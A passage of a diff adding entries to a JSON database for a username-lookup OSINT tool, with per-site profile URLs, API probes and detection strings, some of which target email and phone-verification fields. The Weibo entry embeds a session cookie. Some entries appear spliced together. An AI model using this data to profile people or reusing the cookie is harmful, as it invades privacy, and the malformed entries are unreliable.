"https://forums.golfmonthly.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 42573 + }, + "Tom's guide": { + "tags": [ + "forum", + "tech" + ], + "engine": "XenForo", + "urlMain": "http://forums.tomsguide.com", + "usernameClaimed": "matthewvel", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 929 + }, + "onanizm.club": { + "disabled": true, + "engine": "XenForo", + "urlMain": "http://onanizm.club", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 1254774 + }, + "mednolit.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://mednolit.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1105020 + }, + "mikele-loconte.ru": { + "engine": "uCoz", + "urlMain": "http://mikele-loconte.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mkuniverse.ru": { + "engine": "uCoz", + "urlMain": "http://mkuniverse.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hashnode": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "email", + "profile-tags", + "name", + "og:site_name", + " name=" + ], + "absenceStrs": [ + "We can\u2019t find the page you\u2019re looking for!" + ], + "urlMain": "https://hashnode.com", + "url": "https://hashnode.com/@{username}", + "usernameClaimed": "melwinalm", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 15106 + }, + "www.change.org": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "first_name", + "last_name", + "Email", + "email", + "pathname" + ], + "urlMain": "https://www.change.org", + "url": "https://www.change.org/o/{username}", + "usernameClaimed": "changedotorg", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1540 + }, + "ifunny.co": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "subscribers" + ], + "urlMain": "https://www.ifunny.co", + "url": "https://www.ifunny.co/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 6540 + }, + "LocalCryptos": { + "urlProbe": "https://localcryptosapi.com/v1/accounts/profile/{username}", + "checkType": "message", + "presenseStrs": [ + "username", + "email_verified", + "Email verified", + "phone_verified", + "Phone verified" + ], + "absenceStrs": [ + "error" + ], + "urlMain": "https://localcryptosapi.com", + "url": "http://localcryptos.com/en/profile/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "djskt.lnk.to": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "artistName", + " legalName" + ], + "absenceStrs": [ + "No page with this URL exists" + ], + "urlMain": "https://djskt.lnk.to", + "url": "https://djskt.lnk.to/{username}", + "usernameClaimed": "LoveDontFadeTW", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2490 + }, + "Amazon": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "authorName" + ], + "absenceStrs": [ + "Sorry! We couldn't find that page" + ], + "urlMain": "https://amazon.com", + "url": "https://amazon.com/author/{username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11 + }, + "calendly.com": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profile", + " User" + ], + "absenceStrs": [ + "The page you are looking for could not be found" + ], + "urlMain": "https://calendly.com", + "url": "https://calendly.com/{username}/15min", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 468 + }, + "depop.com": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "first_name" + ], + "absenceStrs": [ + "invalidUrlError__message" + ], + "urlMain": "https://www.depop.com", + "url": "https://www.depop.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7825 + }, + "community.brave.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://community.brave.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 952 + }, + "community.endlessos.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://community.endlessos.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 530563 + }, + "forum.endeavouros.com": { + "tags": [ + "forum", + "in" + ], + "engine": "Discourse", + "urlMain": "https://forum.endeavouros.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 113264 + }, + "forum.garudalinux.org": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "Discourse", + "urlMain": "https://forum.garudalinux.org", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 166470 + }, + "forum.snapcraft.io": { + "tags": [ + "forum", + "in" + ], + "engine": "Discourse", + "urlMain": "https://forum.snapcraft.io", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 14266 + }, + "forum.zorin.com": { + "engine": "Discourse", + "urlMain": "https://forum.zorin.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ], + "alexaRank": 70747 + }, + "codeseller.ru": { + "tags": [ + "kz", + "ru" + ], + "engine": "Wordpress/Author", + "urlMain": "https://codeseller.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 561266 + }, + "linuxpip.org": { + "tags": [ + "us" + ], + "engine": "Wordpress/Author", + "urlMain": "https://linuxpip.org", + "usernameClaimed": "diehard", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 43088 + }, + "Taringa": { + "disabled": true, + "tags": [ + "ar" + ], + "checkType": "message", + "presenseStrs": [ + "User", + " user-username", + " UserFeed" + ], + "absenceStrs": [ + "problema" + ], + "urlMain": "https://www.taringa.net", + "url": "https://www.taringa.net/{username}", + "usernameClaimed": "UniversoGIA", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 9671 + }, + "webonrails.ru": { + "checkType": "message", + "presenseStrs": [ + "post_feed_title" + ], + "absenceStrs": [ + "

    \u041e\u0448\u0438\u0431\u043a\u0430

    " + ], + "urlMain": "https://webonrails.ru", + "url": "https://webonrails.ru/user/{username}/", + "usernameClaimed": "spawn", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "coding", + "forum" + ], + "alexaRank": 962455, + "disabled": true + }, + "support.blue-systems.com": { + "engine": "Discourse", + "urlMain": "https://support.blue-systems.com", + "usernameClaimed": "santosmosley", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 6159329 + }, + "samesound.ru": { + "tags": [ + "ru" + ], + "engine": "Wordpress/Author", + "urlMain": "https://samesound.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 196795 + }, + "universemc.us": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "urlMain": "https://universemc.us", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11324976 + }, + "slivsklad.ru": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://slivsklad.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "slivap.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://slivap.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1238007 + }, + "skynetzone.net": { + "engine": "XenForo", + "urlMain": "https://skynetzone.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3111796 + }, + "https:": { + "engine": "XenForo", + "urlMain": "https://skyblock.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "gaming" + ], + "alexaRank": 349635 + }, + "codeberg.org": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "user profile", + " username text center" + ], + "absenceStrs": [ + "og:description", + " ui centered image" + ], + "urlMain": "https://codeberg.org", + "url": "https://codeberg.org/{username}", + "usernameClaimed": "pcastela", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 102679 + }, + "1x": { + "tags": [ + "photo" + ], + "checkType": "message", + "presenseStrs": [ + " onload=", + "photos-feed", + "gallery-loadmore", + "lm_mode", + "create_exhibition_name" + ], + "absenceStrs": [ + "1x.com \u2022 In Pursuit of the Sublime", + " >404
    " + ], + "urlMain": "https://1x.com", + "url": "https://1x.com/{username}", + "usernameClaimed": "michaelafiresova", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 81236 + }, + "TAP'D": { + "urlProbe": "https://tapd.co/api/user/getPublicProfile/{username}", + "checkType": "message", + "presenseStrs": [ + "\"_id\":" + ], + "absenceStrs": [ + "User does not exist" + ], + "urlMain": "https://tapd.co", + "url": "https://tapd.co/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "networking" + ], + "alexaRank": 743883 + }, + "wblitz.net": { + "checkType": "message", + "presenseStrs": [ + "profileBlock", + "tournaments", + "serverna", + " role=", + " name=" + ], + "absenceStrs": [ + "404 \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430

    404 \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430

    " + ], + "urlMain": "https://wblitz.net", + "url": "https://wblitz.net/stat/ru/{username}", + "usernameClaimed": "lucklev12", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "gaming" + ], + "alexaRank": 1919115 + }, + "unc.ua": { + "tags": [ + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "page-user_profile" + ], + "absenceStrs": [ + "Error Site" + ], + "urlMain": "https://unc.ua", + "url": "https://unc.ua/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1214262 + }, + "kloomba.com": { + "tags": [ + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "\u043e\u0441\u0442\u0430\u043d\u043d\u0456\u0439 \u0432\u0456\u0437\u0438\u0442" + ], + "absenceStrs": [ + "\u0422\u0430\u043a\u043e\u0457 \u0441\u0442\u043e\u0440\u0456\u043d\u043a\u0438 \u043d\u0435 \u0456\u0441\u043d\u0443\u0454" + ], + "urlMain": "https://kloomba.com", + "url": "https://kloomba.com/users/{username}", + "usernameClaimed": "dima", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 265975 + }, + "nevrotic.net": { + "checkType": "message", + "presenseStrs": [ + "profile-tabs", + " profile-rating" + ], + "absenceStrs": [ + "table-404" + ], + "urlMain": "http://nevrotic.net", + "url": "http://nevrotic.net/user/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ru" + ] + }, + "pikabu.monster": { + "tags": [ + "ru", + "sharing" + ], + "checkType": "message", + "presenseStrs": [ + "usertotalcomments", + " usertotalposts" + ], + "absenceStrs": [ + "\u041e\u0448\u0438\u0431\u043a\u0430" + ], + "urlMain": "https://pikabu.monster", + "url": "https://pikabu.monster/user/{username}-summary", + "source": "Pikabu", + "usernameClaimed": "Avezenit", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1115375 + }, + "steamdb.info": { + "tags": [ + "gaming" + ], + "type": "steam_id", + "checkType": "message", + "presenseStrs": [ + "profileForm", + " player-name", + " progress", + " data-not-game=" + ], + "absenceStrs": [ + "error-page", + " Error 404" + ], + "urlMain": "https://steamdb.info", + "url": "https://steamdb.info/calculator/{username}", + "source": "Steam", + "usernameClaimed": "76561197978866368", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1743 + }, + "Niftygateway": { + "tags": [ + "us" + ], + "urlProbe": "https://api.niftygateway.com/user/profile-and-offchain-nifties-by-url/?profile_url={username}", + "checkType": "message", + "presenseStrs": [ + "profile_url", + "name", + "profile_pic_url", + "verified", + "bio" + ], + "absenceStrs": [ + "not_found", + " User profile not located in our system." + ], + "urlMain": "https://api.niftygateway.com", + "url": "https://niftygateway.com/profile/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 18499 + }, + "opensea.io": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "username\\", + "lastSale", + "publicUsername", + "name" + ], + "absenceStrs": [ + "This page is lost." + ], + "urlMain": "https://opensea.io", + "url": "https://opensea.io/accounts/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 259 + }, + "SmiHub": { + "disabled": true, + "tags": [ + "photo" + ], + "checkType": "message", + "presenseStrs": [ + "profile", + "user-page", + "user", + " data-name=", + "user__img" + ], + "absenceStrs": [ + "text-lg mb-3" + ], + "urlMain": "https://smihub.com", + "url": "https://smihub.com/v/{username}", + "source": "Instagram", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 869859 + }, + "do100verno.info": { + "checkType": "message", + "presenseStrs": [ + "white-space: nowrap;" + ], + "absenceStrs": [ + "l-main", + " l-mainDcL", + " l-usrMenu" + ], + "urlMain": "https://do100verno.info", + "url": "https://do100verno.info/card/{username}", + "usernameClaimed": "ekostyle", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "blog" + ], + "disabled": true + }, + "www.kinokopilka.pro": { + "tags": [ + "il" + ], + "checkType": "message", + "presenseStrs": [ + "profile", + "user", + "people", + "users", + "/people" + ], + "urlMain": "https://www.kinokopilka.pro", + "url": "https://www.kinokopilka.pro/users/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 257521 + }, + "www.turpravda.com": { + "tags": [ + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "email", + " name" + ], + "absenceStrs": [ + "Title", + " Shortcut Icon", + " submit" + ], + "urlMain": "https://www.turpravda.com", + "url": "https://www.turpravda.com/profile/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 532724 + }, + "www.minds.com": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "username", + " email" + ], + "absenceStrs": [ + "> ItemFix - Channel: " + ], + "presenseStrs": [ + "user_token" + ], + "url": "https://www.itemfix.com/c/{username}", + "urlMain": "https://www.itemfix.com", + "usernameClaimed": "William_Pickton", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "us" + ], + "alexaRank": 8543 + }, + "www.opendiary.com": { + "urlSubpath": "/m", + "urlMain": "https://www.opendiary.com", + "engine": "Wordpress/Author", + "usernameClaimed": "oniongirl", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "us" + ], + "alexaRank": 1316800 + }, + "fediverse.party": { + "absenceStrs": [ + "Fediverse.Party - explore federated networks", + " error__page" + ], + "presenseStrs": [ + "mastodon-share", + "mastodon", + "socialhome", + "> 400 Bad Request" + ], + "presenseStrs": [ + "{\"ok\":1,\"data\":{\"user\":" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "cross-site", + "Priority": "u=0, i", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Accept-Encoding": "gzip, deflate, br, zstd", + "TE": "trailers", + "Cookie": "SUB=_2AkMQDkYqf8NxqwFRmf4QzWnqbop-wwHEieKmUrfxJRMxHRl-yT9kqm4gtRB6O45oxc8K9O2Jsarg5zYMmQy3bR_LfISF; expires=Saturday, 06-Dec-2025 09:51:25 GMT; path=/; domain=.weibo.com; secure; httponly; SameSite=None, SUBP=0033WrSXqPxfM72-Ws9jqgMF55529P9D9Whze9rurqv2pUdg7sY.DTbO; expires=Saturday, 06-Dec-2025 09:51:25 GMT; path=/; domain=.weibo.com, SRT=D.QqHBTrsMMFkSVdRtOeYoWrSNUdRr4Q9QUeE8U3vkW3WzMdbbN-sPVcStNbHi5mYNUCsuPDbhVdrrS3MNAZSLiDP65FJtNqbLJ%219qRQHeiQ9SOdsM5Oi84byJS%21bOMX77%2AB.vAflW-P9Rc0lR-ykKDvnJqiQVbiRVPBtS%21r3J8sQVqbgVdWiMZ4siOzu4DbmKPWf5c4uVePpVQRpVEP%21SqWqdNumPFHL; expires=Mon, 04-Dec-2034 09:51:25 GMT; Max-Age=315360000; path=/; domain=.passport.weibo.com; secure; HttpOnly, SRF=1733478685; expires=Mon, 04-Dec-2034 09:51:25 GMT; Max-Age=315360000; path=/; domain=.passport.weibo.com; secure" + }, + "activation": { + "method": "weibo", + "marks": [ + "\u5fae\u535a</title", + "<title>Sina Visitor System" + ], + "url": "https://passport.weibo.com/visitor/genvisitor2" + }, + "urlProbe": "https://weibo.com/ajax/profile/info?custom={username}", + "url": "https://weibo.com/{username}", + "urlMain": "https://weibo.com", + "usernameClaimed": "clairekuo", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "cn", + "networking" + ], + "alexaRank": 24 + }, + "Hatena": { + "absenceStrs": [ + "404 Not Found" + ], + "presenseStrs": [ + "profile", + "myprofile", + "profile-dt", + "profile-dd", + "hatena-profile" + ], + "url": "http://profile.hatena.com/{username}/", + "urlMain": "http://profile.hatena.com", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "bookmarks", + "jp" + ], + "alexaRank": 606246 + }, + "angel.co": { + "absenceStrs": [ + "render_not_found" + ], + "presenseStrs": [ + "Profile", + "profiles", + "User profile", + "name", + "layouts/profile" + ], + "url": "https://angel.co/u/{username}", + "urlMain": "https://angel.co", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "business" + ], + "alexaRank": 3661 + }, + "nelubit.ru": { + "urlMain": "https://nelubit.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3887958 + }, + "actual-porn.org": { + "disabled": true, + "urlMain": "http://actual-porn.org", + "engine": "vBulletin", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 147937 + }, + "Aminus3": { + "absenceStrs": [ + "Expires", + " no-cache" + ], + "presenseStrs": [ + "image/ico", + " title=" + ], + "url": "https://{username}.aminus3.com/", + "urlMain": "https://aminus3.com", + "usernameClaimed": "beautifulworld", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 320009 + }, + "lomography": { + "absenceStrs": [ + "404 \u00b7 Lomography" + ], + "presenseStrs": [ + "Lomography", + " @lomography" + ], + "url": "https://www.lomography.com/homes/{username}", + "urlMain": "https://www.lomography.com", + "usernameClaimed": "steved7755", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 35937 + }, + "jAlbum.net": { + "absenceStrs": [ + "section", + " error_head" + ], + "regexCheck": "^[^\\.]+$", + "presenseStrs": [ + "alternate", + " og:image" + ], + "url": "https://{username}.jalbum.net/", + "urlMain": "https://jalbum.net", + "usernameClaimed": "laza", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 273823 + }, + "23hq": { + "absenceStrs": [ + "my-modal", + " enable", + " modal", + "The requested file couldn't be located" + ], + "presenseStrs": [ + "frame", + "first active", + "user", + "last", + "country-name" + ], + "url": "http://www.23hq.com/{username}", + "urlMain": "http://www.23hq.com", + "usernameClaimed": "nellyb", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 24678 + }, + "bliphoto": { + "absenceStrs": [ + "Your photo journal | Blipfoto" + ], + "presenseStrs": [ + "biography", + "biography-full", + "profile-sidebar", + "profile-content", + "state" + ], + "url": "https://www.blipfoto.com/{username}", + "urlMain": "https://www.blipfoto.com", + "usernameClaimed": "Wildstar", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 434270 + }, + "Fotki": { + "absenceStrs": [ + "'404 - Member Not Found'" + ], + "presenseStrs": [ + "profile-cities", + "profile-friends", + "profile-aboutme", + "profile-country", + "user_profile_info" + ], + "url": "https://members.fotki.com/{username}/about/", + "urlMain": "https://fotki.com", + "usernameClaimed": "normargab", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 45941 + }, + "viewbug": { + "absenceStrs": [ + "missing-photos" + ], + "presenseStrs": [ + "profile", + " profile_content" + ], + "url": "https://www.viewbug.com/member/{username}", + "urlMain": "https://www.viewbug.com", + "usernameClaimed": "melaniejwood", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 35377 + }, + "Piccsy": { + "absenceStrs": [ + "my-modal", + "Looks like you're a little lost." + ], + "presenseStrs": [ + "Username" + ], + "regexCheck": "^[^\\.]+$", + "url": "http://{username}.piccsy.com/", + "urlMain": "http://piccsy.com", + "usernameClaimed": "orientcement", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 152719 + }, + "iStock": { + "absenceStrs": [ + "subheading" + ], + "presenseStrs": [ + "collectionName" + ], + "errors": { + "recaptchaKey": "Captcha detected" + }, + "url": "https://www.istockphoto.com/ru/portfolio/{username}", + "urlMain": "https://www.istockphoto.com", + "usernameClaimed": "leowilde", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo", + "stock" + ], + "alexaRank": 245 + }, + "Brusheezy": { + "absenceStrs": [ + "masthead" + ], + "presenseStrs": [ + "username", + " user-name" + ], + "url": "https://www.brusheezy.com/members/{username}", + "urlMain": "https://www.brusheezy.com", + "usernameClaimed": "artistmef", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo", + "stock" + ], + "alexaRank": 12487 + }, + "lightstalking.com": { + "urlMain": "https://www.lightstalking.com", + "presenseStrs": [ + "NPRL.onLoadStyle" + ], + "absenceStrs": [ + "location:" + ], + "checkType": "message", + "requestHeadOnly": true, + "url": "https://www.lightstalking.com/author/{username}/", + "usernameClaimed": "jasonrow", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "blog", + "photo" + ], + "alexaRank": 104676 + }, + "morguefile.com": { + "absenceStrs": [ + "free photographs for commercial use" + ], + "presenseStrs": [ + "sortName", + " profile-data" + ], + "url": "https://morguefile.com/creative/{username}", + "urlMain": "https://morguefile.com", + "usernameClaimed": "thesuccess", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 41779 + }, + "wls.social": { + "urlSubpath": "/wls", + "urlMain": "https://wls.social", + "engine": "Wordpress/Author", + "usernameClaimed": "nathaliemariel", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "blog" + ], + "disabled": true + }, + "steemit": { + "absenceStrs": [ + "NotFound__menu" + ], + "presenseStrs": [ + "profile", + " username" + ], + "url": "https://steemit.com/@{username}", + "urlMain": "https://steemit.com", + "usernameClaimed": "apiprincz", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "news" + ], + "alexaRank": 4449 + }, + "StackOverflow": { + "similarSearch": true, + "absenceStrs": [ + "no-search-results" + ], + "presenseStrs": [ + "user-info", + " user-details" + ], + "url": "https://stackoverflow.com/users/filter?search={username}", + "urlMain": "https://stackoverflow.com", + "usernameClaimed": "maigret", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "coding" + ], + "alexaRank": 37 + }, + "many.link": { + "absenceStrs": [ + "Couldn't find a profile" + ], + "presenseStrs": [ + "og:site_name" + ], + "url": "https://many.link/{username}", + "urlMain": "https://many.link", + "usernameClaimed": "lartisto", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 42687 + }, + "Linkkle": { + "absenceStrs": [ + "anonymous" + ], + "presenseStrs": [ + "profile-top", + " profile-head", + " profile-info" + ], + "url": "https://linkkle.com/{username}", + "urlMain": "https://linkkle.com", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 166062 + }, + "ContactInBio (domain)": { + "absenceStrs": [ + "img/coffee.png" + ], + "presenseStrs": [ + "user-area" + ], + "url": "http://{username}.contactin.bio/", + "urlMain": "http://username.contactin.bio", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 120192 + }, + "ContactInBio (URL)": { + "absenceStrs": [ + "Page not found." + ], + "presenseStrs": [ + "user-area" + ], + "url": "http://allmy.link/{username}", + "urlMain": "http://allmy.link", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 3705822 + }, + "shor.by": { + "absenceStrs": [ + "page-not-found" + ], + "presenseStrs": [ + "og:title" + ], + "url": "https://shor.by/{username}", + "urlMain": "https://shor.by", + "usernameClaimed": "0gs0", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 40396 + }, + "lnk.bio": { + "absenceStrs": [ + "Not Found - Lnk.Bio" + ], + "presenseStrs": [ + "data-username" + ], + "url": "https://lnk.bio/{username}", + "urlMain": "https://lnk.bio", + "usernameClaimed": "tamirawill", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "links" + ], + "alexaRank": 14930 + }, + "Anobii": { + "absenceStrs": [ + ">{}" + ], + "presenseStrs": [ + "og:site_name" + ], + "url": "https://www.anobii.com/{username}/profile/activity", + "urlMain": "https://www.anobii.com", + "usernameClaimed": "jjordan", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "books" + ], + "alexaRank": 38465 + }, + "Zoomir.ir": { + "absenceStrs": [ + "txtSearch" + ], + "presenseStrs": [ + "Email" + ], + "url": "https://www.zoomit.ir/user/{username}", + "urlMain": "https://www.zoomit.ir", + "usernameClaimed": "kossher", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "forum", + "ir", + "news" + ], + "alexaRank": 1739 + }, + "Skypli": { + "absenceStrs": [ + "Nothing found" + ], + "presenseStrs": [ + "profile-box__info" + ], + "url": "https://www.skypli.com/profile/{username}", + "urlMain": "https://www.skypli.com", + "usernameClaimed": "roxana19739", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "messaging" + ], + "alexaRank": 2426694, + "disabled": true + }, + "21buttons": { + "absenceStrs": [ + "not-found__main" + ], + "presenseStrs": [ + "profile-info" + ], + "url": "https://www.21buttons.com/buttoner/{username}", + "urlMain": "https://www.21buttons.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "fashion", + "networking" + ], + "alexaRank": 154418 + }, + "99designs.com": { + "absenceStrs": [ + "mobile-only" + ], + "presenseStrs": [ + "profileUrl" + ], + "url": "https://99designs.com/profiles/{username}", + "urlMain": "https://99designs.com", + "usernameClaimed": "t6s", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "design", + "photo" + ], + "alexaRank": 3399 + }, + "Expono": { + "absenceStrs": [ + "404 - Page not found<" + ], + "presenseStrs": [ + "page-user-badge" + ], + "url": "http://www.expono.com/{username}", + "urlMain": "http://www.expono.com", + "usernameClaimed": "snila", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 132649 + }, + "picturepush.com": { + "absenceStrs": [ + ".stage img" + ], + "presenseStrs": [ + "loginname" + ], + "url": "https://{username}.picturepush.com/", + "urlMain": "https://picturepush.com", + "usernameClaimed": "yoskark", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 130110 + }, + "Purephoto": { + "absenceStrs": [ + "Not found Page not found" + ], + "presenseStrs": [ + "user-profile-title" + ], + "url": "https://www.myinstants.com/profile/{username}/", + "urlMain": "https://www.myinstants.com", + "usernameClaimed": "john122", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "music" + ], + "alexaRank": 21299 + }, + "ozvolvo.org": { + "absenceStrs": [ + "dashboard_home_filenotfound" + ], + "presenseStrs": [ + "realusername" + ], + "url": "https://ozvolvo.org/profile/{username}", + "urlMain": "https://ozvolvo.org", + "usernameClaimed": "John122", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "auto" + ], + "alexaRank": 1541775 + }, 